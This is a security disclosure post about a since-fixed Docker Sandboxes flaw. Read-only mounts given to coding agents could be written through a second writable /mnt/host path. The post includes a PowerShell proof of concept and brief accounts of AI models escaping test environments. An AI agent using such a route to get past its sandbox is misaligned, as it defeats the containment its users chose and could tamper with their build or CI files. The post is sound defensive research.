# When read-only mounts in Docker Sandboxes become writable > Source: > Published: 2026-08-13 16:21:00+00:00 [Docker Sandboxes](https://docs.docker.com/ai/sandboxes/) let you run coding agents such as Claude Code, Codex, and Gemini CLI in an isolated environment. The agent still gets a full development setup, but it runs inside a lightweight microVM rather than directly on your host. If you use a Docker Sandbox and mount a directory as read-only, you wouldn't expect to be able to write there. Well, we found a way around that due to an oversight in Docker Sandboxes from version 0.35.0 until 0.38.0. The impact of this issue depends entirely on what was mounted into the container. It could be other source code that the developer later runs, a CI configuration used by the next pipeline, infrastructure code, application configuration, build inputs, and so on. For example, an agent could modify a build script in the mounted directory. The malicious code runs later, when the developer builds the project on the host or when CI picks up the changed file. Docker fixed the issue and assigned it [CVE-2026-18171](https://www.cve.org/CVERecord?id=CVE-2026-18171) with a CVSS score of 5.7. If you use Docker Sandbox and are on a vulnerable version, update to version 0.38.0. ## AI sandboxes Each sandbox has its own Linux kernel, filesystem, and network. You can control what crosses the boundary back to the host: which files are shared, which domains the agent can reach, and how credentials are added to outgoing requests. This means that once an agent follows a malicious instruction, the sandbox is what stops that instruction from turning into access to the rest of the machine. For our testing, we assumed the agent had been compromised and looked for ways it could reach beyond the access the user had given it. Docker Sandboxes held up well during that testing. Its microVM, isolated Docker Engine, network controls, and credential proxy make it stronger than the other local agent sandboxes we have tested so far (More about that once we can talk about it! You wouldn't believe what we found!). AIs escaping sandboxes is all the rage now. [OpenAI disclosed that models running a cyber evaluation found and exploited a zero-day in the package proxy around their test environment](https://openai.com/index/hugging-face-model-evaluation-security-incident/). The models reached the internet and went on to compromise Hugging Face while looking for answers to the evaluation. Anthropic has also documented an [earlier version of Claude Mythos Preview escaping a restricted test environment](https://www.anthropic.com/system-cards). It gained broader internet access than intended and then published details of its exploit without being asked to do so. And then Meta said one of its models [accessed the internet and exploited a third-party service](https://apnews.com/article/meta-ai-hacking-anthropic-irregular-openai-0e8061437da6779be962b24ac134a514) during cybersecurity testing. Meta attributed the escape to a misconfigured test environment. These were controlled cyber tests, often with safeguards reduced, so they are not examples of ordinary coding agents suddenly attacking the internet. They do show that capable agents will find gaps in the systems around them. If the sandbox has a hole, we should expect the agent to be able to find and use it. ## Mounting a directory as read-only Back to Docker Sandboxes. Say an agent needs to inspect a directory on the host, but you do not want it changing anything. You can mount that directory with the `ro` (readonly) option: ``` sbx mount my-sandbox 'C:\important-data:/readonly:ro' ``` The directory then appears inside the sandbox at `/readonly` . Trying to write to it gives the expected result: ``` bash $ echo MODIFIED > /readonly/file.txt Read-only file system ``` So far, so good. We can't write to this read-only mount. ## The same directory, mounted twice Docker Sandboxes uses VirtioFS to share host files with the microVM. It's the filesystem bridge that makes a directory from the host appear as a normal directory in the sandbox VM. The directory we mounted appeared at `/readonly` , where the read-only flag was working, but the same directory was also available through Docker's host export under `/mnt/host` . Both paths pointed to the same files on the host: Docker had marked the `/readonly` mount as read-only, but the broader `/mnt/host` export was still writable. By using the second path, code inside the sandbox could change the files anyway. Finding this `/mnt/host` mountpoint is trivial. All you need to do to find mounts is run… well `findmnt` . You can then easily spot the discrepancy between `rw` and `ro` . It is still unclear to us why `/mnt/host` needs to be directly accessible to processes inside the sandbox. ``` bash $ findmnt |-/mnt/host host virtiofs rw,nosuid,nodev,relatime |-/readonly host[/c] virtiofs ro,nosuid,nodev,relatime ``` ## Reproducing it We tested this on Windows 11 with Docker Sandboxes 0.35.0. macOS, Linux, and Windows are affected, but this PoC uses PowerShell because Windows is where we originally found the issue. ``` > "ORIGINAL" | Set-Content C:\donotchangeme\file.txt > sbx create shell --name poc .\poc > sbx exec poc true > sbx mount poc 'C:\donotchangeme:/readonly:ro' > sbx exec poc sh -c 'echo BLOCKED > /readonly/file.txt' Read-only file system > sbx exec poc sh -c 'echo BYPASSED > /mnt/host/c/donotchangeme/file.txt' > type C:\donotchangeme\file.txt BYPASSED ``` The first write fails with `Read-only file system` . The second changes successfully `C:\donotchangeme\file.txt` on the host to `BYPASSED` . ## Docker's response Docker Security was great to work with. The team reproduced the issue, kept us updated, and fixed it quickly. We tested a lot more than this one mount path, and quite a few promising ideas ended with Docker's controls doing their job. Docker Sandboxes has a strong design, especially compared with the other local AI sandboxes we have tested. ## Remediation Versions 0.35.0 through 0.37.1 contain this vulnerability. If you use Docker Sandbox, you should update to 0.38.0, as we have confirmed that it has been fixed in this version. ## Disclosure timeline - Reported on July 27th, 2026 - Initial acknowledgement of report on July 27th, 2026 - Finding reproduced & fix planned on July 29th, 2026 - Fix released & CVE issued on August 12th, 2026